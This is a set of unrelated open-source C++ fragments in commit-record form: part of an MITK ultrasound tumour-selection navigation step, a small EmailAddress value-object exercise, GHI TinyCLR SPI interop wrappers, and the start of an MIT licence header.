QmitkUSNavigationMarkerPlacement::DATANAME_TARGETSURFACE,
QmitkUSNavigationMarkerPlacement::DATANAME_TUMOUR);
// do not show the surface until this is requested
m_TargetSurfaceNode->SetBoolProperty("visible", false);
// make sure that scalars will be renderer on the surface
m_TargetSurfaceNode->SetBoolProperty("scalar visibility", true);
m_TargetSurfaceNode->SetBoolProperty("color mode", true);
m_TargetSurfaceNode->SetBoolProperty("Backface Culling", true);
return true;
}
bool QmitkUSNavigationStepTumourSelection::OnStopStep()
{
// make sure that imaging isn't freezed anymore
ui->freezeImageButton->Unfreeze();
m_NodeDisplacementFilter->ResetNodes();
mitk::DataStorage::Pointer dataStorage = this->GetDataStorage(false);
if (dataStorage.IsNotNull())
{
// remove target surface node from data storage, if available there
if (m_TargetSurfaceNode.IsNotNull()) { dataStorage->Remove(m_TargetSurfaceNode); }
dataStorage->ChangedNodeEvent.RemoveListener(m_ListenerChangeNode);
dataStorage->Remove(m_TumourNode);
m_TumourNode = 0;
}
MITK_INFO("QmitkUSAbstractNavigationStep")("QmitkUSNavigationStepTumourSelection")
<< "Removing tumour.";
return true;
}
bool QmitkUSNavigationStepTumourSelection::OnRestartStep()
{
ui->tumourSizeExplanationLabel->setEnabled(false);
ui->tumourSizeLabel->setEnabled(false);
ui->tumourSizeSlider->setEnabled(false);
ui->deleteTumourButton->setEnabled(false);
ui->tumourSizeSlider->blockSignals(true);
ui->tumourSizeSlider->setValue(0);
ui->tumourSizeSlider->blockSignals(false);
//emit SignalNoLongerReadyForNextStep();
return QmitkUSAbstractNavigationStep::OnRestartStep();
}
bool QmitkUSNavigationStepTumourSelection::OnFinishStep()
{
// make sure that the surface has the right extent (in case the
// tumor size was changed since the initial surface creation)
m_TargetSurfaceNode->SetData(this->CreateTargetSurface());
return true;
}
bool QmitkUSNavigationStepTumourSelection::OnActivateStep()
{
m_Interactor = mitk::USZonesInteractor::New();
m_Interactor->LoadStateMachine(m_StateMachineFilename, us::ModuleRegistry::GetModule("MitkUS"));
m_Interactor->SetEventConfig("globalConfig.xml");
m_NodeDisplacementFilter->SelectInput(m_ReferenceSensorIndex);
//target selection is optional
if (m_targetSelectionOptional) { emit SignalReadyForNextStep(); }
return true;
}
bool QmitkUSNavigationStepTumourSelection::OnDeactivateStep()
{
m_Interactor->SetDataNode(0);
bool value;
if (m_TumourNode.IsNotNull() && !(m_TumourNode->GetBoolProperty("zone.created", value) && value))
{
m_TumourNode->SetData(0);
}
// make sure that imaging isn't freezed anymore
ui->freezeImageButton->Unfreeze();
return true;
}
void QmitkUSNavigationStepTumourSelection::OnUpdate()
{
if (m_NavigationDataSource.IsNull()) { return; }
m_NavigationDataSource->Update();
bool valid = m_NavigationDataSource->GetOutput(m_ReferenceSensorIndex)->IsDataValid();
if (valid)
{
ui->bodyMarkerTrackingStatusLabel->setStyleSheet(
"background-color: #8bff8b; margin-right: 1em; margin-left: 1em; border: 1px solid grey");
ui->bodyMarkerTrackingStatusLabel->setText("Body marker is inside the tracking volume.");
}
else
{
ui->bodyMarkerTrackingStatusLabel->setStyleSheet(
"background-color: #ff7878; margin-right: 1em; margin-left: 1em; border: 1px solid grey");
ui->bodyMarkerTrackingStatusLabel->setText("Body marker is not inside the tracking volume.");
}
ui->freezeImageButton->setEnabled(valid);
bool created;
if (m_TumourNode.IsNull() || !m_TumourNode->GetBoolProperty("zone.created", created) || !created)
{
ui->tumourSearchExplanationLabel->setEnabled(valid);
}
}
void QmitkUSNavigationStepTumourSelection::OnSettingsChanged(const itk::SmartPointer<mitk::DataNode> settingsNode)
{
if (settingsNode.IsNull()) { return; }
float securityDistance;
if (settingsNode->GetFloatProperty("settings.security-distance", securityDistance))
{
m_SecurityDistance = securityDistance;
}
std::string stateMachineFilename;
if (settingsNode->GetStringProperty("settings.interaction-concept", stateMachineFilename) && stateMachineFilename != m_StateMachineFilename)
{
m_StateMachineFilename = stateMachineFilename;
m_Interactor->LoadStateMachine(stateMachineFilename, us::ModuleRegistry::GetModule("MitkUS"));
}
std::string referenceSensorName;
if (settingsNode->GetStringProperty("settings.reference-name-selected", referenceSensorName))
{
m_ReferenceSensorName = referenceSensorName;
}
this->UpdateReferenceSensorName();
}
QString QmitkUSNavigationStepTumourSelection::GetTitle()
{
return "Localisation of Tumour Position";
}
QmitkUSAbstractNavigationStep::FilterVector QmitkUSNavigationStepTumourSelection::GetFilter()
{
return FilterVector(1, m_NodeDisplacementFilter.GetPointer());
}
void QmitkUSNavigationStepTumourSelection::OnFreeze(bool freezed)
{
if (freezed) this->GetCombinedModality()->SetIsFreezed(true);
ui->tumourSelectionExplanation1Label->setEnabled(freezed);
ui->tumourSelectionExplanation2Label->setEnabled(freezed);
if (freezed)
{
if (!m_TumourNode->GetData())
{
// load state machine and event config for data interactor
m_Interactor->LoadStateMachine(m_StateMachineFilename, us::ModuleRegistry::GetModule("MitkUS"));
m_Interactor->SetEventConfig("globalConfig.xml");
m_Interactor->SetDataNode(m_TumourNode);
// feed reference pose to node displacement filter
m_NodeDisplacementFilter->SetInitialReferencePose(this->GetCombinedModality()->GetNavigationDataSource()->GetOutput(m_ReferenceSensorIndex)->Clone());
}
}
else
{
bool value;
if (m_TumourNode->GetBoolProperty("zone.created", value) && value)
{
ui->freezeImageButton->setEnabled(false);
ui->tumourSearchExplanationLabel->setEnabled(false);
}
}
if (!freezed) this->GetCombinedModality()->SetIsFreezed(false);
}
void QmitkUSNavigationStepTumourSelection::OnSetCombinedModality()
{
mitk::USCombinedModality::Pointer combinedModality = this->GetCombinedModality(false);
if (combinedModality.IsNotNull())
{
m_NavigationDataSource = combinedModality->GetNavigationDataSource();
}
else
{
m_NavigationDataSource = 0;
}
ui->freezeImageButton->SetCombinedModality(combinedModality, m_ReferenceSensorIndex);
this->UpdateReferenceSensorName();
}
void QmitkUSNavigationStepTumourSelection::OnTumourSizeChanged(int size)
{
m_TumourNode->SetFloatProperty("zone.size", static_cast<float>(size));
mitk::USZonesInteractor::UpdateSurface(m_TumourNode);
MITK_INFO("QmitkUSAbstractNavigationStep")("QmitkUSNavigationStepTumourSelection")
<< "Changing tumour radius to " << size << ".";
}
void QmitkUSNavigationStepTumourSelection::OnDeleteButtonClicked()
{
this->OnRestartStep();
}
void QmitkUSNavigationStepTumourSelection::TumourNodeChanged(const mitk::DataNode* dataNode)
{
// only changes of tumour node are of interest
if (dataNode != m_TumourNode) { return; }
float size;
dataNode->GetFloatProperty("zone.size", size);
ui->tumourSizeSlider->setValue(static_cast<int>(size));
bool created;
if (dataNode->GetBoolProperty("zone.created", created) && created)
{
if (ui->freezeImageButton->isChecked())
{
m_NodeDisplacementFilter->AddNode(const_cast<mitk::DataNode*>(dataNode));
m_TargetSurfaceNode->SetData(this->CreateTargetSurface());
m_NodeDisplacementFilter->AddNode(m_TargetSurfaceNode);
MITK_INFO("QmitkUSAbstractNavigationStep")("QmitkUSNavigationStepTumourSelection")
<< "Tumour created with center " << dataNode->GetData()->GetGeometry()->GetOrigin()
<< " and radius " << size << ".";
mitk::DataNode::Pointer tumourResultNode = mitk::DataNode::New();
tumourResultNode->SetName("TumourResult");
tumourResultNode->SetProperty("USNavigation::TumourCenter",
mitk::Point3dProperty::New(dataNode->GetData()->GetGeometry()->GetOrigin()));
tumourResultNode->SetProperty("USNavigation::TumourRadius", mitk::DoubleProperty::New(size));
emit SignalIntermediateResult(tumourResultNode);
ui->freezeImageButton->Unfreeze();
}
ui->tumourSearchExplanationLabel->setEnabled(false);
ui->tumourSizeExplanationLabel->setEnabled(true);
ui->tumourSizeLabel->setEnabled(true);
ui->tumourSizeSlider->setEnabled(true);
ui->deleteTumourButton->setEnabled(true);
emit SignalReadyForNextStep();
}
}
mitk::Surface::Pointer QmitkUSNavigationStepTumourSelection::CreateTargetSurface()
{
mitk::Surface::Pointer tumourSurface = dynamic_cast<mitk::Surface*>(m_TumourNode->GetData());
if (tumourSurface.IsNull())
{
MITK_WARN << "No target selected, cannot create surface!";
return mitk::Surface::New(); //return a empty surface in this case...
}
// make a deep copy of the tumour surface polydata
vtkSmartPointer<vtkPolyData> tumourSurfaceVtk = vtkSmartPointer<vtkPolyData>::New();
tumourSurfaceVtk->DeepCopy(tumourSurface->GetVtkPolyData());
// create scalars for moving every point the same size onto its normal vector
vtkSmartPointer<vtkDoubleArray> scalars = vtkSmartPointer<vtkDoubleArray>::New();
int numberOfPoints = tumourSurfaceVtk->GetNumberOfPoints();
scalars->SetNumberOfTuples(numberOfPoints);
// set scalars for warp filter
for (vtkIdType i = 0; i < numberOfPoints; ++i) { scalars->SetTuple1(i, m_SecurityDistance * 10); }
tumourSurfaceVtk->GetPointData()->SetScalars(scalars);
vtkSmartPointer<vtkWarpScalar> warpScalar = vtkSmartPointer<vtkWarpScalar>::New();
warpScalar->SetInputData(tumourSurfaceVtk);
warpScalar->SetScaleFactor(1); // use the scalars themselves
warpScalar->Update();
vtkSmartPointer<vtkPolyData> targetSurfaceVtk = warpScalar->GetPolyDataOutput();
// set the moved points to the deep copied tumour surface; this is
// necessary as setting the targetSurfaceVtk as polydata for the
// targetSurface would result in flat shading for the surface (seems
// to be a bug in MITK or VTK)
tumourSurfaceVtk->SetPoints(targetSurfaceVtk->GetPoints());
mitk::Surface::Pointer targetSurface = mitk::Surface::New();
targetSurface->SetVtkPolyData(tumourSurfaceVtk);
targetSurface->GetGeometry()->SetOrigin(tumourSurface->GetGeometry()->GetOrigin());
return targetSurface;
}
itk::SmartPointer<mitk::NodeDisplacementFilter> QmitkUSNavigationStepTumourSelection::GetTumourNodeDisplacementFilter()
{
return m_NodeDisplacementFilter;
}
void QmitkUSNavigationStepTumourSelection::UpdateReferenceSensorName()
{
if (m_NavigationDataSource.IsNull()) { return; }
if (!m_ReferenceSensorName.empty())
{
try
{
m_ReferenceSensorIndex = m_NavigationDataSource->GetOutputIndex(m_ReferenceSensorName);
}
catch (const std::exception &e)
{
MITK_WARN("QmitkUSAbstractNavigationStep")("QmitkUSNavigationStepTumourSelection")
<< "Cannot get index for reference sensor name: " << e.what();
}
}
if (this->GetNavigationStepState() >= QmitkUSAbstractNavigationStep::State_Active)
{
m_NodeDisplacementFilter->SelectInput(m_ReferenceSensorIndex);
}
ui->freezeImageButton->SetCombinedModality(this->GetCombinedModality(false), m_ReferenceSensorIndex);
}
<|endoftext|>
|
<commit_before>#include <string>
#include <stdexcept>
#include <cassert>
namespace workspace {
class EmailAddress {
public:
static bool is_valid_email_address(const std::string& emailAddress) { // -> a dummy func for testing purposes only
return std::string::npos != emailAddress.find("@");
}
EmailAddress(const std::string& emailAddress) : emailAddress_(emailAddress) {
if (!is_valid_email_address(emailAddress))
throw std::invalid_argument("invalid email address");
}
private:
const std::string& emailAddress_;
};
class User {
public:
User(const EmailAddress& emailAddress) : emailAddress_(emailAddress) {}
User changeEmailAddress(const EmailAddress& emailAddress) { return User(emailAddress); }
private:
EmailAddress emailAddress_;
};
void run() {
User user(EmailAddress("correct_email_address@domain"));
user.changeEmailAddress(EmailAddress("new_correct_email_address@domain"));
assert(true);
{
bool wasException = false;
try {
EmailAddress("incorrect_email_address");
}
catch (const std::invalid_argument& e) {
assert((std::string("invalid email address") == std::string(e.what())));
assert((wasException = true));
}
catch (...) { assert(false); }
assert(wasException);
}
{
bool wasException = false;
try {
User(EmailAddress("correct_email_address@domain"))
.changeEmailAddress(EmailAddress("incorrect_email_address"));
}
catch (const std::invalid_argument& e) {
assert((std::string("invalid email address") == std::string(e.what())));
assert((wasException = true));
}
catch (...) { assert((false)); }
assert((wasException));
}
}
} // workspace
int main() {
workspace::run();
return 0;
}
<commit_msg>[n_noback-object_design_style_guide][ch 03] again slighly change the 1-st eample for new value object creation<commit_after>#include <string>
#include <stdexcept>
#include <cassert>
namespace workspace {
class EmailAddress {
public:
static bool is_valid_email_address(const std::string& emailAddress) { // -> a dummy func for testing purposes only
return std::string::npos != emailAddress.find("@");
}
EmailAddress(const std::string& emailAddress) : emailAddress_(emailAddress) {
if (!is_valid_email_address(emailAddress))
throw std::invalid_argument("invalid email address");
}
private:
const std::string& emailAddress_;
};
class User {
public:
User(const EmailAddress& emailAddress) : emailAddress_(emailAddress) {}
User changeEmailAddress(const EmailAddress& emailAddress) { return User(emailAddress); }
private:
EmailAddress emailAddress_;
};
void run() {
User user(EmailAddress("correct_email_address@domain"));
user.changeEmailAddress(EmailAddress("new_correct_email_address@domain"));
assert(true);
{
bool wasException = false;
try {
EmailAddress("incorrect_email_address");
}
catch (const std::invalid_argument& e) {
assert((std::string("invalid email address") == std::string(e.what())));
assert((wasException = true));
}
catch (...) { assert(false); }
assert(wasException);
}
{
bool wasException = false;
try {
User(EmailAddress("correct_email_address@domain"))
.changeEmailAddress(EmailAddress("incorrect_email_address"));
}
catch (const std::invalid_argument& e) {
assert((std::string("invalid email address") == std::string(e.what())));
assert((wasException = true));
}
catch (...) { assert(false); }
assert(wasException);
}
}
} // workspace
int main() {
workspace::run();
return 0;
}
<|endoftext|>
|
<commit_before>#include "GHIElectronics_TinyCLR_Devices_Spi.h"
#include "../GHIElectronics_TinyCLR_InteropUtil.h"
TinyCLR_Result Interop_GHIElectronics_TinyCLR_Devices_Spi_GHIElectronics_TinyCLR_Devices_Spi_Provider_SpiControllerApiWrapper::get_ChipSelectLineCount___I4(const TinyCLR_Interop_MethodData md) {
auto api = reinterpret_cast<const TinyCLR_Spi_Controller*>(TinyCLR_Interop_GetApi(md, FIELD___impl___I));
TinyCLR_Interop_ClrValue ret;
md.InteropManager->GetReturn(md.InteropManager, md.Stack, ret);
ret.Data.Numeric->I4 = api->GetChipSelectLineCount(api);
return TinyCLR_Result::Success;
}
TinyCLR_Result Interop_GHIElectronics_TinyCLR_Devices_Spi_GHIElectronics_TinyCLR_Devices_Spi_Provider_SpiControllerApiWrapper::get_MinClockFrequency___I4(const TinyCLR_Interop_MethodData md) {
auto api = reinterpret_cast<const TinyCLR_Spi_Controller*>(TinyCLR_Interop_GetApi(md, FIELD___impl___I));
TinyCLR_Interop_ClrValue ret;
md.InteropManager->GetReturn(md.InteropManager, md.Stack, ret);
ret.Data.Numeric->I4 = api->GetMinClockFrequency(api);
return TinyCLR_Result::Success;
}
TinyCLR_Result Interop_GHIElectronics_TinyCLR_Devices_Spi_GHIElectronics_TinyCLR_Devices_Spi_Provider_SpiControllerApiWrapper::get_MaxClockFrequency___I4(const TinyCLR_Interop_MethodData md) {
auto api = reinterpret_cast<const TinyCLR_Spi_Controller*>(TinyCLR_Interop_GetApi(md, FIELD___impl___I));
TinyCLR_Interop_ClrValue ret;
md.InteropManager->GetReturn(md.InteropManager, md.Stack, ret);
ret.Data.Numeric->I4 = api->GetMaxClockFrequency(api);
return TinyCLR_Result::Success;
}
TinyCLR_Result Interop_GHIElectronics_TinyCLR_Devices_Spi_GHIElectronics_TinyCLR_Devices_Spi_Provider_SpiControllerApiWrapper::get_SupportedDataBitLengths___SZARRAY_I4(const TinyCLR_Interop_MethodData md) {
auto api = reinterpret_cast<const TinyCLR_Spi_Controller*>(TinyCLR_Interop_GetApi(md, FIELD___impl___I));
const size_t MAX_SUPPORT_ARRAY_SIZE = 10;
size_t ptrLen = MAX_SUPPORT_ARRAY_SIZE;
uint32_t ptr[MAX_SUPPORT_ARRAY_SIZE];
auto result = api->GetSupportedDataBitLengths(api, ptr, ptrLen);
auto interop = md.InteropManager;
ptrLen = ptrLen > MAX_SUPPORT_ARRAY_SIZE ? MAX_SUPPORT_ARRAY_SIZE : ptrLen;
TinyCLR_Interop_ClrTypeId idx;
TinyCLR_Interop_ClrValue arr, ret;
interop->FindType(interop, "mscorlib", "System", "Int32", idx);
interop->CreateArray(interop, ptrLen, idx, arr);
auto p = reinterpret_cast<int32_t*>(arr.Data.SzArray.Data);
for (auto i = 0; i < ptrLen; i++)
p[i] = ptr[i];
md.InteropManager->GetReturn(md.InteropManager, md.Stack, ret);
md.InteropManager->AssignObjectReference(md.InteropManager, ret, arr.Object);
return result;
}
TinyCLR_Result Interop_GHIElectronics_TinyCLR_Devices_Spi_GHIElectronics_TinyCLR_Devices_Spi_Provider_SpiControllerApiWrapper::WriteRead___VOID__SZARRAY_U1__I4__I4__SZARRAY_U1__I4__I4__BOOLEAN(const TinyCLR_Interop_MethodData md) {
auto api = reinterpret_cast<const TinyCLR_Spi_Controller*>(TinyCLR_Interop_GetApi(md, FIELD___impl___I));
TinyCLR_Interop_ClrValue args[7];
for (auto i = 0; i < sizeof(args) / sizeof(TinyCLR_Interop_ClrValue); i++) {
md.InteropManager->GetArgument(md.InteropManager, md.Stack, i, args[i]);
}
auto writeData = reinterpret_cast<uint8_t*>(args[0].Data.SzArray.Data);
auto writeOffset = args[1].Data.Numeric->I4;
auto writeLength = static_cast<size_t>(args[2].Data.Numeric->I4);
auto readData = reinterpret_cast<uint8_t*>(args[3].Data.SzArray.Data);
auto readOffset = args[4].Data.Numeric->I4;
auto readLength = static_cast<size_t>(args[5].Data.Numeric->I4);
auto deselectAfter = args[6].Data.Numeric->Boolean;
return api->WriteRead(api, reinterpret_cast<const uint8_t*>(writeData + writeOffset), writeLength, readData + readOffset, readLength, deselectAfter);
}
TinyCLR_Result Interop_GHIElectronics_TinyCLR_Devices_Spi_GHIElectronics_TinyCLR_Devices_Spi_Provider_SpiControllerApiWrapper::Acquire___VOID(const TinyCLR_Interop_MethodData md) {
auto api = reinterpret_cast<const TinyCLR_Spi_Controller*>(TinyCLR_Interop_GetApi(md, FIELD___impl___I));
return api->Acquire(api);
}
TinyCLR_Result Interop_GHIElectronics_TinyCLR_Devices_Spi_GHIElectronics_TinyCLR_Devices_Spi_Provider_SpiControllerApiWrapper::Release___VOID(const TinyCLR_Interop_MethodData md) {
auto api = reinterpret_cast<const TinyCLR_Spi_Controller*>(TinyCLR_Interop_GetApi(md, FIELD___impl___I));
return api->Release(api);
}
TinyCLR_Result Interop_GHIElectronics_TinyCLR_Devices_Spi_GHIElectronics_TinyCLR_Devices_Spi_Provider_SpiControllerApiWrapper::SetActiveSettings___VOID__GHIElectronicsTinyCLRDevicesSpiSpiConnectionSettings(const TinyCLR_Interop_MethodData md) {
auto api = reinterpret_cast<const TinyCLR_Spi_Controller*>(TinyCLR_Interop_GetApi(md, FIELD___impl___I));
TinyCLR_Interop_ClrValue obj;
TinyCLR_Interop_ClrValue args[8];
TinyCLR_Spi_Settings settings;
md.InteropManager->GetArgument(md.InteropManager, md.Stack, 0, obj);
md.InteropManager->GetField(md.InteropManager, obj.Object, Interop_GHIElectronics_TinyCLR_Devices_Spi_GHIElectronics_TinyCLR_Devices_Spi_SpiConnectionSettings::FIELD___ChipSelectLine__BackingField___I4, args[0]);
md.InteropManager->GetField(md.InteropManager, obj.Object, Interop_GHIElectronics_TinyCLR_Devices_Spi_GHIElectronics_TinyCLR_Devices_Spi_SpiConnectionSettings::FIELD___ChipSelectType__BackingField___GHIElectronicsTinyCLRDevicesSpiSpiChipSelectType, args[1]);
md.InteropManager->GetField(md.InteropManager, obj.Object, Interop_GHIElectronics_TinyCLR_Devices_Spi_GHIElectronics_TinyCLR_Devices_Spi_SpiConnectionSettings::FIELD___ClockFrequency__BackingField___I4, args[2]);
md.InteropManager->GetField(md.InteropManager, obj.Object, Interop_GHIElectronics_TinyCLR_Devices_Spi_GHIElectronics_TinyCLR_Devices_Spi_SpiConnectionSettings::FIELD___DataBitLength__BackingField___I4, args[3]);
md.InteropManager->GetField(md.InteropManager, obj.Object, Interop_GHIElectronics_TinyCLR_Devices_Spi_GHIElectronics_TinyCLR_Devices_Spi_SpiConnectionSettings::FIELD___Mode__BackingField___GHIElectronicsTinyCLRDevicesSpiSpiMode, args[4]);
md.InteropManager->GetField(md.InteropManager, obj.Object, Interop_GHIElectronics_TinyCLR_Devices_Spi_GHIElectronics_TinyCLR_Devices_Spi_SpiConnectionSettings::FIELD___ChipSelectSetupTime__BackingField___mscorlibSystemTimeSpan, args[5]);
md.InteropManager->GetField(md.InteropManager, obj.Object, Interop_GHIElectronics_TinyCLR_Devices_Spi_GHIElectronics_TinyCLR_Devices_Spi_SpiConnectionSettings::FIELD___ChipSelectHoldTime__BackingField___mscorlibSystemTimeSpan, args[6]);
md.InteropManager->GetField(md.InteropManager, obj.Object, Interop_GHIElectronics_TinyCLR_Devices_Spi_GHIElectronics_TinyCLR_Devices_Spi_SpiConnectionSettings::FIELD___ChipSelectActiveState__BackingField___BOOLEAN, args[7]);
settings.ChipSelectLine = args[0].Data.Numeric->I4;
settings.ChipSelectType = static_cast<TinyCLR_Spi_ChipSelectType>(args[1].Data.Numeric->I4);
settings.ClockFrequency = args[2].Data.Numeric->I4;
settings.DataBitLength = args[3].Data.Numeric->I4;
settings.Mode = static_cast<TinyCLR_Spi_Mode>(args[4].Data.Numeric->I4);
settings.ChipSelectSetupTime = args[5].Data.Numeric->U8;
settings.ChipSelectHoldTime = args[6].Data.Numeric->U8;
settings.ChipSelectActiveState = args[7].Data.Numeric->Boolean;
return api->SetActiveSettings(api, &settings);
}
<commit_msg>Remove space<commit_after>#include "GHIElectronics_TinyCLR_Devices_Spi.h"
#include "../GHIElectronics_TinyCLR_InteropUtil.h"
TinyCLR_Result Interop_GHIElectronics_TinyCLR_Devices_Spi_GHIElectronics_TinyCLR_Devices_Spi_Provider_SpiControllerApiWrapper::get_ChipSelectLineCount___I4(const TinyCLR_Interop_MethodData md) {
auto api = reinterpret_cast<const TinyCLR_Spi_Controller*>(TinyCLR_Interop_GetApi(md, FIELD___impl___I));
TinyCLR_Interop_ClrValue ret;
md.InteropManager->GetReturn(md.InteropManager, md.Stack, ret);
ret.Data.Numeric->I4 = api->GetChipSelectLineCount(api);
return TinyCLR_Result::Success;
}
TinyCLR_Result Interop_GHIElectronics_TinyCLR_Devices_Spi_GHIElectronics_TinyCLR_Devices_Spi_Provider_SpiControllerApiWrapper::get_MinClockFrequency___I4(const TinyCLR_Interop_MethodData md) {
auto api = reinterpret_cast<const TinyCLR_Spi_Controller*>(TinyCLR_Interop_GetApi(md, FIELD___impl___I));
TinyCLR_Interop_ClrValue ret;
md.InteropManager->GetReturn(md.InteropManager, md.Stack, ret);
ret.Data.Numeric->I4 = api->GetMinClockFrequency(api);
return TinyCLR_Result::Success;
}
TinyCLR_Result Interop_GHIElectronics_TinyCLR_Devices_Spi_GHIElectronics_TinyCLR_Devices_Spi_Provider_SpiControllerApiWrapper::get_MaxClockFrequency___I4(const TinyCLR_Interop_MethodData md) {
auto api = reinterpret_cast<const TinyCLR_Spi_Controller*>(TinyCLR_Interop_GetApi(md, FIELD___impl___I));
TinyCLR_Interop_ClrValue ret;
md.InteropManager->GetReturn(md.InteropManager, md.Stack, ret);
ret.Data.Numeric->I4 = api->GetMaxClockFrequency(api);
return TinyCLR_Result::Success;
}
TinyCLR_Result Interop_GHIElectronics_TinyCLR_Devices_Spi_GHIElectronics_TinyCLR_Devices_Spi_Provider_SpiControllerApiWrapper::get_SupportedDataBitLengths___SZARRAY_I4(const TinyCLR_Interop_MethodData md) {
auto api = reinterpret_cast<const TinyCLR_Spi_Controller*>(TinyCLR_Interop_GetApi(md, FIELD___impl___I));
const size_t MAX_SUPPORT_ARRAY_SIZE = 10;
size_t ptrLen = MAX_SUPPORT_ARRAY_SIZE;
uint32_t ptr[MAX_SUPPORT_ARRAY_SIZE];
auto result = api->GetSupportedDataBitLengths(api, ptr, ptrLen);
auto interop = md.InteropManager;
ptrLen = ptrLen > MAX_SUPPORT_ARRAY_SIZE ? MAX_SUPPORT_ARRAY_SIZE : ptrLen;
TinyCLR_Interop_ClrTypeId idx;
TinyCLR_Interop_ClrValue arr, ret;
interop->FindType(interop, "mscorlib", "System", "Int32", idx);
interop->CreateArray(interop, ptrLen, idx, arr);
auto p = reinterpret_cast<int32_t*>(arr.Data.SzArray.Data);
for (auto i = 0; i < ptrLen; i++)
p[i] = ptr[i];
md.InteropManager->GetReturn(md.InteropManager, md.Stack, ret);
md.InteropManager->AssignObjectReference(md.InteropManager, ret, arr.Object);
return result;
}
TinyCLR_Result Interop_GHIElectronics_TinyCLR_Devices_Spi_GHIElectronics_TinyCLR_Devices_Spi_Provider_SpiControllerApiWrapper::WriteRead___VOID__SZARRAY_U1__I4__I4__SZARRAY_U1__I4__I4__BOOLEAN(const TinyCLR_Interop_MethodData md) {
auto api = reinterpret_cast<const TinyCLR_Spi_Controller*>(TinyCLR_Interop_GetApi(md, FIELD___impl___I));
TinyCLR_Interop_ClrValue args[7];
for (auto i = 0; i < sizeof(args) / sizeof(TinyCLR_Interop_ClrValue); i++) {
md.InteropManager->GetArgument(md.InteropManager, md.Stack, i, args[i]);
}
auto writeData = reinterpret_cast<uint8_t*>(args[0].Data.SzArray.Data);
auto writeOffset = args[1].Data.Numeric->I4;
auto writeLength = static_cast<size_t>(args[2].Data.Numeric->I4);
auto readData = reinterpret_cast<uint8_t*>(args[3].Data.SzArray.Data);
auto readOffset = args[4].Data.Numeric->I4;
auto readLength = static_cast<size_t>(args[5].Data.Numeric->I4);
auto deselectAfter = args[6].Data.Numeric->Boolean;
return api->WriteRead(api, reinterpret_cast<const uint8_t*>(writeData + writeOffset), writeLength, readData + readOffset, readLength, deselectAfter);
}
TinyCLR_Result Interop_GHIElectronics_TinyCLR_Devices_Spi_GHIElectronics_TinyCLR_Devices_Spi_Provider_SpiControllerApiWrapper::Acquire___VOID(const TinyCLR_Interop_MethodData md) {
auto api = reinterpret_cast<const TinyCLR_Spi_Controller*>(TinyCLR_Interop_GetApi(md, FIELD___impl___I));
return api->Acquire(api);
}
TinyCLR_Result Interop_GHIElectronics_TinyCLR_Devices_Spi_GHIElectronics_TinyCLR_Devices_Spi_Provider_SpiControllerApiWrapper::Release___VOID(const TinyCLR_Interop_MethodData md) {
auto api = reinterpret_cast<const TinyCLR_Spi_Controller*>(TinyCLR_Interop_GetApi(md, FIELD___impl___I));
return api->Release(api);
}
TinyCLR_Result Interop_GHIElectronics_TinyCLR_Devices_Spi_GHIElectronics_TinyCLR_Devices_Spi_Provider_SpiControllerApiWrapper::SetActiveSettings___VOID__GHIElectronicsTinyCLRDevicesSpiSpiConnectionSettings(const TinyCLR_Interop_MethodData md) {
auto api = reinterpret_cast<const TinyCLR_Spi_Controller*>(TinyCLR_Interop_GetApi(md, FIELD___impl___I));
TinyCLR_Interop_ClrValue obj;
TinyCLR_Interop_ClrValue args[8];
TinyCLR_Spi_Settings settings;
md.InteropManager->GetArgument(md.InteropManager, md.Stack, 0, obj);
md.InteropManager->GetField(md.InteropManager, obj.Object, Interop_GHIElectronics_TinyCLR_Devices_Spi_GHIElectronics_TinyCLR_Devices_Spi_SpiConnectionSettings::FIELD___ChipSelectLine__BackingField___I4, args[0]);
md.InteropManager->GetField(md.InteropManager, obj.Object, Interop_GHIElectronics_TinyCLR_Devices_Spi_GHIElectronics_TinyCLR_Devices_Spi_SpiConnectionSettings::FIELD___ChipSelectType__BackingField___GHIElectronicsTinyCLRDevicesSpiSpiChipSelectType, args[1]);
md.InteropManager->GetField(md.InteropManager, obj.Object, Interop_GHIElectronics_TinyCLR_Devices_Spi_GHIElectronics_TinyCLR_Devices_Spi_SpiConnectionSettings::FIELD___ClockFrequency__BackingField___I4, args[2]);
md.InteropManager->GetField(md.InteropManager, obj.Object, Interop_GHIElectronics_TinyCLR_Devices_Spi_GHIElectronics_TinyCLR_Devices_Spi_SpiConnectionSettings::FIELD___DataBitLength__BackingField___I4, args[3]);
md.InteropManager->GetField(md.InteropManager, obj.Object, Interop_GHIElectronics_TinyCLR_Devices_Spi_GHIElectronics_TinyCLR_Devices_Spi_SpiConnectionSettings::FIELD___Mode__BackingField___GHIElectronicsTinyCLRDevicesSpiSpiMode, args[4]);
md.InteropManager->GetField(md.InteropManager, obj.Object, Interop_GHIElectronics_TinyCLR_Devices_Spi_GHIElectronics_TinyCLR_Devices_Spi_SpiConnectionSettings::FIELD___ChipSelectSetupTime__BackingField___mscorlibSystemTimeSpan, args[5]);
md.InteropManager->GetField(md.InteropManager, obj.Object, Interop_GHIElectronics_TinyCLR_Devices_Spi_GHIElectronics_TinyCLR_Devices_Spi_SpiConnectionSettings::FIELD___ChipSelectHoldTime__BackingField___mscorlibSystemTimeSpan, args[6]);
md.InteropManager->GetField(md.InteropManager, obj.Object, Interop_GHIElectronics_TinyCLR_Devices_Spi_GHIElectronics_TinyCLR_Devices_Spi_SpiConnectionSettings::FIELD___ChipSelectActiveState__BackingField___BOOLEAN, args[7]);
settings.ChipSelectLine = args[0].Data.Numeric->I4;
settings.ChipSelectType = static_cast<TinyCLR_Spi_ChipSelectType>(args[1].Data.Numeric->I4);
settings.ClockFrequency = args[2].Data.Numeric->I4;
settings.DataBitLength = args[3].Data.Numeric->I4;
settings.Mode = static_cast<TinyCLR_Spi_Mode>(args[4].Data.Numeric->I4);
settings.ChipSelectSetupTime = args[5].Data.Numeric->U8;
settings.ChipSelectHoldTime = args[6].Data.Numeric->U8;
settings.ChipSelectActiveState = args[7].Data.Numeric->Boolean;
return api->SetActiveSettings(api, &settings);
}
<|endoftext|>
|
<commit_before>/*
The MIT License (MIT)
Copyright (c) 2013 Yi Qiao
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
